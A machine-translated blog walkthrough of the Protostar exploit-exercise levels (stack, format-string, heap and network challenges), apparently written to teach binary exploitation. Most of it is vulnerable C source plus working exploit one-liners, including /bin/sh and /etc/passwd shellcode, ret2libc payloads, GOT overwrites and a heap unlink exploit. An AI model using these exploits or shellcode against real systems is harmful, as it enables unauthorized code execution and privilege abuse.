📜 ⬆️ ⬇️

Exploit Exercises: Introducing binary vulnerabilities using the example of Protostar



Good day to all. We continue the analysis of tasks from the site Exploit Exercises , and today we will consider the main types of binary vulnerabilities. The tasks themselves are available here . This time 24 levels are available to us, in the following areas:


Assignments in each category go from simple to complex, demonstrating basic techniques for exploiting vulnerabilities.
')

Stack0


This level demonstrates how changing local variables during a normal buffer overflow can affect program flow.

stack0.c
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } 


All you need to do is simply to overflow to send to the variable buffer , a string that exceeds its size:

 user@protostar:~$ python -c 'print("A"*100)' | /opt/protostar/bin/stack0 

We get the result:
you have changed the 'modified' variable

Stack1


At the last level, we simply overwritten the modified variable, this requires assigning a specific value to it:

stack1.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } 


Therefore, first fill buffer , and then set modified :

 user@protostar:~$ /opt/protostar/bin/stack1 `python -c 'from struct import pack; print("A"*64+pack("<I", 0x61626364))'` 

And the success message:
the variable

Stack2


At this level, everything is the same, except that the values ​​are read from the environment variables. And you, as you remember from the previous part , cannot be trusted:

stack2.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } 


Run stack2 with the GREENIE environment variable set in advance :
 user@protostar:~$ GREENIE=`python -c 'from struct import pack; print("A"*64+pack("<I",0x0d0a0d0a))'` /opt/protostar/bin/stack2 

the variable

Stack3


At this level, we are required to capture the EIP register and transfer control to the win function:

stack3.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } 


First, find out its address:

 (gdb) disassemble win Dump of assembler code for function win: 0x08048424 <win+0>: push %ebp 0x08048425 <win+1>: mov %esp,%ebp 0x08048427 <win+3>: sub $0x18,%esp 0x0804842a <win+6>: movl $0x8048540,(%esp) 0x08048431 <win+13>: call 0x8048360 <puts@plt> 0x08048436 <win+18>: leave 0x08048437 <win+19>: ret End of assembler dump. 

And perform the familiar actions:

 user@protostar:~$ python -c 'from struct import pack; print("A"*64+pack("<I", 0x08048424))' | /opt/protostar/bin/stack3 

The return address has been changed, the following message notifies us:
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack4


This level already demonstrates the change of the return address, at its usual location on the stack:

stack4.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 


 user@protostar:~$ gdb /opt/protostar/bin/stack4 

Find out the address where the win function is located:

 (gdb) disassemble win Dump of assembler code for function win: 0x080483f4 <win+0>: push %ebp 0x080483f5 <win+1>: mov %esp,%ebp 0x080483f7 <win+3>: sub $0x18,%esp 0x080483fa <win+6>: movl $0x80484e0,(%esp) 0x08048401 <win+13>: call 0x804832c <puts@plt> 0x08048406 <win+18>: leave 0x08048407 <win+19>: ret End of assembler dump. 

Next, we find an offset on the stack, to overwrite the EIP register:

 gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' 



Well and actually having executed the small code, we force the program to pass to a site necessary to us:

 opt/protostar/bin$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4 

What the message indicates:
code flow successfully changed

Stack5


At this level, an introduction to using shell codes begins.

stack5.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 


 user@protostar:/opt/protostar/bin$ gdb -ex r ./stack5 

Starting program: / opt / protostar / bin / stack5
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

 (gdb) x/20xw $esp-100 0xbffff76c: 0x080483d9 0xbffff780 0xb7ec6165 0xbffff788 0xbffff77c: 0xb7eada75 0x42424242 0x42424242 0x42424242 0xbffff78c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff79c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff7ac: 0x42424242 0x42424242 0x42424242 0x42424242 

Create a small shellcode in peda :

 gdb-peda$ shellcode generate x86/linux exec # x86/linux/exec: 24 bytes shellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31" "\xc9\x89\xca\x6a\x0b\x58\xcd\x80" ) 

It remains to combine all this:

 user@protostar:/opt/protostar/bin$ (python -c 'from struct import pack; print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*(76-24)+pack("<I", 0xbffff780))';cat) | gdb -q -ex r --batch ./stack5 Executing new program: /bin/dash id uid=1001(user) gid=1001(user) groups=1001(user) 

I’ll explain a little bit: cat starts in normal mode and endlessly starts sending everything that comes to STDIN to STDOUT , dash cannot do this, and closes without parameters immediately.

Stack6


We continue to study shellcode. At this level, we are asked to use one of the techniques for successful operation: ret2libc or ROP .

stack6.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); } 


With the code everything is clear, let's start searching for the return address. Download the file yourself and run it in peda , create a pattern:



Run our binary, transfer the created template to it, and ask peda to find the offsets we need:



In this task we will use the ret2libc technique, but first we will find the necessary addresses:

 (gdb) x/s *((char **)environ+14) 0xbfffff84: "SHELL=/bin/sh" (gdb) p system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> (gdb) p exit $1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit> 

Since we do not have ASLR enabled, there are no problems with this. As a parameter for the system function, pass it the address to the environment variable SHELL . Thus, we have all the necessary data to create a sploita:

 eipOffset = 80 systemAddr = 0xb7ecffb0 exitAddr = 0xb7ec60c0 shellAddr = 0xbfffff8a 

Itself will float like this:
A * eipOffset | systemAddr | exitAddr | shellAddr

It remains to combine all this:



After launch, we get access to the shell.

PS The answer to the question: why, despite the presence of the SUID bit, we do not get root, was parsed in the Level11 task

Stack7


The level is the same as the previous one, except that we are asked to use msfelfscan to search for ROP gadgets.

stack7.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); } 


Perform the same actions as in the previous task:



As we can see, the peda informed us that the EAX register points to the beginning of our buffer. Let's try to find the call / jmp eax instructions in the stack7 code, using the suggested msfelfscan :

 $ msfelfscan -j eax ./stack7 [./stack7] 0x080484bf call eax 0x080485eb call eax 

For example, take this shell, which will bring us the contents of the file / etc / passwd
As a result, the flop will look like this:

 user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print("\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"+"\x90"*(80-43)+pack("<I",0x080484bf))' | ./stack7 

After starting, we get the appropriate output:

Result of work
input path please: got path 1 Rh / cath / bin Rhsswdh // pah / etc
RQS ̀
 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin protostar:x:1000:1000:protostar,,,:/home/protostar:/bin/bash user:x:1001:1001::/home/user:/bin/sh 


Format0


We came to the vulnerabilities of the format string. This level demonstrates an example of how using this vulnerability can change the course of program execution. In this case, there is a condition: You need to fit into a string of 10 bytes.

format0.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 


The program accepts the first command line argument, and passes it to sprintf without filtering. In the case of a normal overflow, this solution would look like this:

 user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("A"*64+pack("<I",0xdeadbeef))'` you have hit the target correctly :) 

In 10 bytes, we obviously do not fit, so it is worth resorting to the possibilities of string formatting:

 user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("%64x"+pack("<I",0xdeadbeef))'` you have hit the target correctly :) 

We still solved the problem by overflowing the variable buffer , but now the sprintf function did it for us.

Format1


The Format1 level demonstrates the ability to change values ​​in memory at an arbitrary address.

format1.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 


Using objdump we find the address where the target variable is located:

 user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target 08049638 g O .bss 00000004 target 

Next, we calculate the offset, where we can write data:

 user@protostar://opt/protostar/bin$ for i in {1..200}; do ./format1 "AAAA%$i\$x"; echo " $i"; done | grep 4141 AAAA41414141 127 

Now we can change the value of the global target variable, as follows:

 user@protostar://opt/protostar/bin$ ./format1 `python -c 'from struct import pack; print(pack("<I",0x08049638)+"%127$n")'` 8 you have modified the target :) 

Format2


The next level demonstrates not just the change of an arbitrary address, but the recording of a specific value on it.

format2.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); } 


Actually, the algorithm of actions at the first stage will be the same, we will just try to write some value in the target . At the same time, let's see how the previous example worked.

Find out the necessary information:

 user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target 080496e4 g O .bss 00000004 target user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format2; done | grep 4141 4 -> AAAA41414141 

Now let's try to write as it was at the previous level:

 user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%4$n")' | ./format2    target is 4 :( user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"A"+"%4$n")' | ./format2   A target is 5 :(  user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%4$n")' | ./format2    target is 4 :( user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"A"+"%4$n")' | ./format2   A target is 5 :( 

As expected, the target contains the number of bytes up to the specifier % n . It remains to write there the necessary value - 64. Which will be received as: 4 bytes - address + indent 60 characters:

 user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%60x"+"%4$n")' | ./format2    200 you have modified the target :) 


Format3


Writing 1 byte is good, but not practical. Therefore, this level shows how more than 1 or 2 bytes can be written to memory.
format3.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer); if(target == 0x01025544) { printf("you have modified the target :)\n"); } else { printf("target is %08x :(\n", target); } } int main(int argc, char **argv) { vuln(); } 


There are several ways to do this:


Format4


Here we come to the final and perhaps the most interesting level to exploit the vulnerability of the format string. Here we are required to pass control to the hello () function.

format4.c
 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); } 


The easiest way to do this is to rewrite the addresses in the GOT table, for the exit () function to the hello () function. First we find the necessary addresses:

 user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep hello 080484b4 g F .text 0000001e hello user@protostar:/opt/protostar/bin$ objdump -R ./format4 | grep exit 08049724 R_386_JUMP_SLOT exit 

Next, we define the offset at which the user buffer is located:

 user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format4; done | grep 4141 4 -> AAAA41414141 

The values ​​of the indents that need to be used to write the number we need can be calculated in Python as follows:

 >>> 0x0804 - 8 2044 >>> 0x84b4 - 8 - 2044 31920 

Now you can start creating sploita:

 user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I", 0x08049726) + pack("<I", 0x08049724) + "%2044c%4$hn" + "%31920c%5$hn")' | ./format4 & $  code execution redirected! you win 

After which, we get a message about the success of the hello () function

Heap0


This level shows the basics of heap overflow, and how this may affect program flow.

heap0.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); } 


 gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r 



 user@protostar:/opt/protostar/bin$ ./heap0 `python -c 'from struct import pack; print("A"*72+pack("<I",0x08048464))'` data is at 0x804a008, fp is at 0x804a050 level passed 

Heap1


heap1.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } 


 gdb-peda$ p winner $1 = {void (void)} 0x8048494 <winner> 

 $ objdump -R ./heap1 | grep puts 08049774 R_386_JUMP_SLOT puts 

 gdb-peda$ pattern_create 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA BBBBBBBB' gdb-peda$ run ... gdb-peda$ pattern_search Registers contain pattern buffer: EAX+0 found at offset: 20 EDX+0 found at offset: 20 

 $ ./heap1 `python -c 'from struct import pack; print("A"*20+pack("<I",0x08049774)+" "+pack("<I",0x8048494))'` and we have a winner @ 1487263180 

Heap2


heap2.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } } 


What does the code do? First, the addresses of 2 auth and service objects are displayed, this is done for greater clarity. Then, depending on the read line, either memory allocation for one or another object or its release occurs.

The following construction is most interesting here:

  if(strncmp(line, "login", 5) == 0) { if(auth->auth) { 

It is interesting because there is no check whether memory is allocated for an auth object or not, i.e. the code will work anyway, regardless of whether we free this object or not. On the face of a clear vulnerability use-after-free . It remains to operate it. First, let's allocate memory for auth :

 user@protostar:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth admin [ auth = 0x804c008, service = (nil) ] 

Well, we have allocated 32 (sizeof (name)) + 4 (sizeof (auth)) bytes. Now we will free this site:

 reset [ auth = 0x804c008, service = (nil) ] 

It seems that nothing has changed, but take a look at it under the debugger:



This is until reset



And this after.

And now let's try to write a string using the service command:

 service admin [ auth = 0x804c008, service = 0x804c008 ] 

Addresses are completely the same, this is because strdup also uses malloc to allocate memory for the final string, and since we just marked the previous section as free, it was this one that we began to use. Thus, we can also rewrite the data located at auth-> auth so that the login check is successful.

The final exploit will look like this:

 user@protostar:/opt/protostar/bin$ python -c 'print("auth admin\nreset\nservice "+"A"*36+"\nlogin")' | ./heap2 [ auth = (nil), service = (nil) ] [ auth = 0x804c008, service = (nil) ] [ auth = 0x804c008, service = (nil) ] [ auth = 0x804c008, service = 0x804c018 ] you have logged in already! [ auth = 0x804c008, service = 0x804c018 ] 

Heap3


heap3.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); } 


For clarity, we use peda, pre-setting breakpoints in the right places:

 gdb-peda$ b *0x080488d5 //strcpy(a, argv[1]); gdb-peda$ b *0x08048911 //free(c); gdb-peda$ b *0x08048935 //printf("dynamite failed?\n"); gdb-peda$ r `python -c 'print("A"*32 +" "+ "B"*32 +" "+ "C"*32)'` 

After launch, the first breakpoint is triggered. Find out the address where the heap is located:



Let's see how the heap looks, even before the arguments passed to it are copied:



PS For clarity, I did not capture the 4-byte segment, located in front of the pointer to the size of the chunk.

First, we have the size of the current piece: 0x804c004 + 0x29 = 0x804c02d - this is the address that contains the data that we have placed as “B”, and so on, at the very end is the size of the basket. Now let's take a look at the same section by moving to the next breakpoint:



Well, we figured it out, it remains to find out what is happening with the memory, in the heap after its release:



As you can see, now every chunk contains a pointer to the next free
Since copying in this example is carried out by strcpy , i.e. without length limitations, we can easily rewrite the metadata of any existing chunk, including creating our own. More details about this can be found here .

First, find the address of the winner function:

 gdb-peda$ p winner $1 = {void (void)} 0x8048864 <winner> 

We will rewrite the address in the GOT for the puts function:

 user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep puts 0804b128 R_386_JUMP_SLOT puts 

I think it is not necessary to describe shellcode:

 $ rasm2 'mov eax, 0x8048864; call eax' b864880408ffd0 

Let's start creating an exploit. Since the exploit will use the features of the macro unlink , we will get the address of puts in the GOT :

0x0804b128 - 0xC = 0x0804b11c

Its actual need to be replaced with the address where the first chunk is located, where we will write the shellcode:
0x804c00c = 0x804c000 + 0xC

The third chunk will be expanded by strcpy , and divided by 2, since we need 2 consecutive chunks, which will be marked as free, otherwise unlink will not work. The final view will be:

 user@protostar:/opt/protostar/bin$ ./heap3 `python -c 'from struct import pack; print("\x90"*16+"\xb8\x64\x88\x04\x08\xff\xd0" +" "+ "B"*36+"\x65" +" "+ "C"*92+pack("<I",0xfffffffc)+pack("<I",0xfffffffc)+pack("<I",0x0804b11c)+pack("<I",0x804c00c))'` that wasn't too bad now, was it? @ 1488287968 Segmentation fault 

And after the launch, we receive the necessary message, from the winner function, and a segmentation error, which is not interesting to us, because the goal is fulfilled.

Net0


net0.c
 #include "../common/common.c" #define NAME "net0" #define UID 999 #define GID 999 #define PORT 2999 void run() { unsigned int i; unsigned int wanted; wanted = random(); printf("Please send '%d' as a little endian 32bit int\n", wanted); if(fread(&i, sizeof(i), 1, stdin) == NULL) { errx(1, ":(\n"); } if(i == wanted) { printf("Thank you sir/madam\n"); } else { printf("I'm sorry, you sent %d instead\n", i); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 


As follows from the description, at this level they want to introduce us to the transformation of the string into a “little endian” number.

Therefore, without further ado, open python :

 #!/usr/bin/python3 import socket from struct import pack host = '10.0.31.119' port = 2999 s = socket.socket() s.connect((host, port)) data = s.recv(1024).decode() print(data) data = int(data[13:13 + data[13:].index("'")]) s.send(pack("<I", data)) print(s.recv(1024).decode()) 

We read the number, and using the pack function from the struct module, we bring it to the required format. It remains only to run:

 gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py Please send '1251330920' as a little endian 32bit int Thank you sir/madam 

Net1


net1.c
 #include "../common/common.c" #define NAME "net1" #define UID 998 #define GID 998 #define PORT 2998 void run() { char buf[12]; char fub[12]; char *q; unsigned int wanted; wanted = random(); sprintf(fub, "%d", wanted); if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { errx(1, ":(\n"); } if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { errx(1, ":(\n"); } q = strchr(buf, '\r'); if(q) *q = 0; q = strchr(buf, '\n'); if(q) *q = 0; if(strcmp(fub, buf) == 0) { printf("you correctly sent the data\n"); } else { printf("you didn't send the data properly\n"); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 


At this level, the inverse problem is set, convert the received bytes into a string. Let's use Python again:

 #!/usr/bin/python3 import socket from struct import unpack host = '10.0.31.119' port = 2998 s = socket.socket() s.connect((host, port)) data = s.recv(1024) print(data) data = unpack("I", data)[0] s.send(str(data).encode()) print(s.recv(1024).decode()) 

Yes, just like that ...

 gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py b'\x92\xc5_x' you correctly sent the data 

Net2


net2.c
 #include "../common/common.c" #define NAME "net2" #define UID 997 #define GID 997 #define PORT 2997 void run() { unsigned int quad[4]; int i; unsigned int result, wanted; result = 0; for(i = 0; i < 4; i++) { quad[i] = random(); result += quad[i]; if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) { errx(1, ":(\n"); } } if(read(0, &wanted, sizeof(result)) != sizeof(result)) { errx(1, ":<\n"); } if(result == wanted) { printf("you added them correctly\n"); } else { printf("sorry, try again. invalid\n"); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 


The last level of this series. On which you need to apply the knowledge gained earlier. We are given 4 uint numbers, we need to send them the amount:

 #!/usr/bin/python3 import socket from struct import unpack, pack host = '10.0.31.119' port = 2997 s = socket.socket() s.connect((host, port)) result = 0 for i in range(4): tmp = s.recv(4) tmp = int(unpack("<I", tmp)[0]) result += tmp result &= 0xffffffff s.send(pack("<I", result)) print(s.recv(1024).decode()) 

We launch and receive a success message:

 gh0st3rs@gh0st3rs-pc:protostar$ ./net2.py you added them correctly 

That's all for now.The remaining Final0 Final1 and Final2 I propose to look at yourself.

Source: https://habr.com/ru/post/320460/


All Articles